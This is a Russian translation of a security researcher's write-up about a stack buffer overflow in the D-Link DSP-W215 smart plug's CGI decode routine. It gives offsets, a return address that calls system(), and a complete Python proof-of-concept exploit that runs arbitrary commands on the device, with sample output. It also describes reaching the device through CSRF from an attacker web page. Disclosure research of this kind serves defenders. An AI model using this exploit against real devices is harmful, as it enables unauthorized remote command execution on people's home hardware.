[Перевод] Взламываем D-Link DSP-W215 Smart Plug: Опять, снова, еще раз

imageВ предыдущих сериях:

Взламываем D-Link DSP-W215 Smart Plug Взламываем D-Link DSP-W215 Smart Plug. Снова Взламываем D-Link DSP-W215 Smart Plug. Снова и опять До сих пор, все найденные в DSP-W215 уязвимости могли быть выполнены только из LAN, ну, если вы не глупец и не открыли доступ к Smart Plug из интернета.Типичным способом атаки устройств со встроенным веб-сервером, доступным только из внутренней сети, типа того, что у DSP-W215 — через CSRF. Проблема этого метода в том, что любой веб-браузер будет кодировать (urlencode) передаваемые данные, например, адрес возврата, но до этого момента мы использовали уязвимости, которые не декодируют (urldecode) наши данные (уязвимость в функции replace_special_char, которую мы эксплуатировали в предыдущей статье, декодирует только ограниченный набор ASCII-символов).

Бинарный файл my_cgi.cgi, который является основной уязвимой целью, содержит функцию-декодировщик «decode», которая декодирует POST-данные. Этой функции передается два аргумента: указатель на закодированные данные и указатель на буфер, где хранятся раскодированные данные:

void decode (char *encode_buf, char *decode_buf); Эта функция просто проходит циклом по всем байтам в encode_buf и раскодирует или копирует их в decode_buf: image

Грубо говоря, ее код выглядит как-то так:

void decode (char *encode_buf, char *decode_buf) { int encoded_byte_len; char *encode_buf_end_ptr = encode_buf + strlen (encode_buf); // Loop through all bytes in encode_buf, without knowing how big decode_buf is while (encoded_data < encode_buf_end_ptr) { /* * ... * Do Decoding of the next byte in encoded_data. * encoded_byte_len = number of bytes processed in this loop iteration (1 or 3). * ... */ decode_buf[0] = decoded_byte; decode_buf++; encoded_data += encoded_byte_len; } } Если вызывающая функция не позаботилась о выделении буфера размера достаточного, чтобы сохранить все декодированные данные, то этот буфер (decode_buf) может быть переполнен большим POST-параметром.В my_cgi.cgi есть только одна функция, из которой вызывается функция декодирования — get_input_entries:image

Как видим, функция «decode» вызывается только в том случае, если имя POST-параметра «path», а из memset можно увидеть, что буферу decode_buf выделяется всего 0×400 на стеке:

char decode_buf[0×400]; if (strcmp (entries[i]→name, «path») == 0) { // Decode path POST value into the fixed-size decode_buf decode (entries[i]→value, decode_buf); strcpy (entries[i]→value, decode_buf); } replace_special_char (entries[i]→value); Это значит, что в случае, если мы передадим в POST-запросе значение «path» размером больше, чем 0×400 байт, произойдет переполнение буфера decode_buf на стеке внутри функции get_input_entries. И, что более интересно, у нас не будет «плохих» байт, т.к. функция «decode» все их раскодирует (например, превратит %00 в NULL-байт) перед копированием обратно на стек.

Однако, нам нужно проявить некоторую осторожность при составлении эксплоита, чтобы не вызвать переполнение буфера в функции replace_special_char, которая вызывается перед возвратом из get_input_entries.

К счастью, данные, которые передаются к replace_special_char предварительно проходят strcpy из decode_buf, поэтому, если мы поставим NULL-байт где-то ближе к началу POST-запроса, функции replace_special_char передастся строка очень маленькой длины (все то, что было до первого NULL-байта) вместо всего POST-запроса, который был раскодирован на стек.

POST-значение «path», длиной более 1060 байт, переполняет все в стековом фрейме функции get_input_entries, включая адрес возврата: image

А из-за того, что у нас нет «плохих» байт, мы можем использовать адрес возврата 0×00405CEC, который мы использовали в предыдущих эксплоитах, чтобы вызвать system () с указателем на стек ($sp+0×28): image

Вот небольшой код PoC на Python, который переполняет функцию get_input_entries, заменяет адрес возврата на вызов system () по адресу 0×00405CEC и запускает команду на стеке по смещению $sp+0×28:

import sys import urllib import urllib2 try: target = sys.argv[1] command = sys.argv[2] except: print «Usage: %s » % sys.argv[0] sys.exit (1) url = «http://%s/common/info.cgi» % target buf = »\x00» # Start with a NULL byte to prevent crashing in replace_special_chars buf += «D» * (1060–1) # Stack filler buf += »\x00\x40\x5C\xEC» # $ra, address of call to system () buf += «E» * 0×28 # Stack filler buf += command # Command to execute buf += »\x00» # NULL terminate the command, for good measure # URL encode the path POST value post_data = «path=» + urllib.quote_plus (buf).replace ('+', '%20') # Set a referer to show that there are no CSRF protections headers = {'Referer' : 'http://www.attacker.com/exploit.html'} req = urllib2.Request (url, post_data, headers) print urllib2.urlopen (req).read () Работает она, конечно же, как и полагается:

$ ./exploit.py 192.168.0.60 'ls -l /' drwxr-xr-x 2 1000 1000 4096 May 16 09:01 bin drwxrwxr-x 3 1000 1000 4096 May 22 18:03 dev drwxrwxr-x 3 1000 1000 4096 Sep 3 2010 etc drwxrwxr-x 3 1000 1000 4096 May 16 09:01 lib drwxr-xr-x 3 1000 1000 4096 May 16 09:01 libexec lrwxrwxrwx 1 1000 1000 11 May 17 15:20 linuxrc → bin/busybox drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 lost+found drwxrwxr-x 6 1000 1000 4096 May 17 15:15 mnt drwxr-xr-x 2 1000 1000 4096 May 16 09:01 mydlink drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 proc drwxrwxr-x 2 1000 1000 4096 May 17 17:23 root drwxr-xr-x 2 1000 1000 4096 May 16 09:01 sbin drwxrwxrwx 3 1000 1000 4096 May 24 23:26 tmp drwxrwxr-x 7 1000 1000 4096 May 16 09:01 usr drwxrwxr-x 3 1000 1000 4096 May 17 15:21 var -rw-r--r-- 1 1000 1000 17 May 16 09:01 version drwxrwxr-x 6 1000 1000 4096 May 22 17:15 www

© Habrahabr.ru